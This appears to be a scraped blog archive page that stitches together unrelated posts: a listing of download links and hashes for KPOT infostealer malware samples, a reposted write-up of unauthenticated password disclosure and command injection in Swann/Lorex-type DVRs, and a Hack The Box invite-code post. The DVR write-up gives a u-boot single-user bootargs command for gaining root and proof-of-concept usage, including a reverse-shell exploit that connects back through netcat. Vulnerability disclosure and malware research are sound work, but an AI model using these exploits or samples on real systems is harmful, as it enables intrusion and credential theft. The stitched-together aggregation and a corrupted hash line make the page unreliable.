Outsourcing: May 2020

Friday, May 22, 2020

KPOT Info Stealer Samples

KPOT Stealer is a "stealer" malware that focuses on stealing account information and other data from various software applications and services

References

1. 2020-04-19 Didier Stevens posted analysis of KPOT infostealer on the Infosec Handlers Diary blog "KPOT Analysis: Obtaining the Decrypted KPOT EXE"

These are samples to follow his analysis routine.

2. 2019-05-09 Proofpoint. New KPOT v2.0 stealer brings zero persistence and in-memory features to silently steal credentials

Download

Other malware

Download. Email me if you need the password (see in my profile)

1. http://contagio.deependresearch.org/crime/kpotstealer_win_samp.zip from Didier Stevens' post
2. http://contagio.deependresearch.org/crime/kpotstealer(proofpoint)_win_samp.zip - Proofpoint

Hashes

1. From Didier Stevens' post

MD5 56ad7b243511ee7398d43df7643dc904
SHA-1 ae5ab7798ca267b1265a0496c562f219821d17cf
SHA-256 3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146

2. From Proofpoint

MD5 7d7667ddce8fd69a0fd50bb08c287d10
SHA-1 087fc3e9a082983ee6a2b25f0ccb09eb723e0f39

SHA-256 67f8302a2fd28d15f62d6d20d748bfe350334e5353cbdef112bd1f8231b5599d

MD5 45ddc687f88b45fc3fec79f9dc8b38e2
SHA-1 de37b748e0e32d96c31f469f9ba4ea4f11e3e78b
SHA-256 36dcd40aee6a42b8733ec3390501502824f570a23640c2c78a788805164f77cecontagio.deependresearch.org/crime/kpotstealer(proofpoint)_win_samp.zip

Related news

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:

setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single

This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".

Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:

python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456

Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:

"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)

Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999

Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.

Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.

Read more

Wednesday, May 20, 2020

Ethical Hacking Platform For Penetration Testing | How To Hack The Invite Code: Join Hack The Box (HTB)

Hack The Box

Hack The Box (HTB) is a free platform available to ethical hackers to do a penetration testing for ethical hacking projects. It consist of different type of challenges that are updated constantly. Some of the challenges related to the real world scenarios and rest of the challenges related to learning towards a CTF style of challenges.
Before joining to HTB, there is a simple task for you to prove your skills after that you'll able to create an account, and then you'll be able to access to your HTB Lab, where several challenges await for you to hack them. That's the beginning step for all of us to joining this. If you got success while hacking then you'll get points.

Task For Joining The HTB

Before joining the HTB, there is a task to hack invite code and paste that code in the code box for further registration to your account. You can complete a simple challenge to prove your skills, if you don't hack that then here is a short video below this content about hacking the invite code. Watch the video and hack the code!

In this Video you'll learn about How to join Hack the box (HTB) in Kali Linux and other Linux Distributions.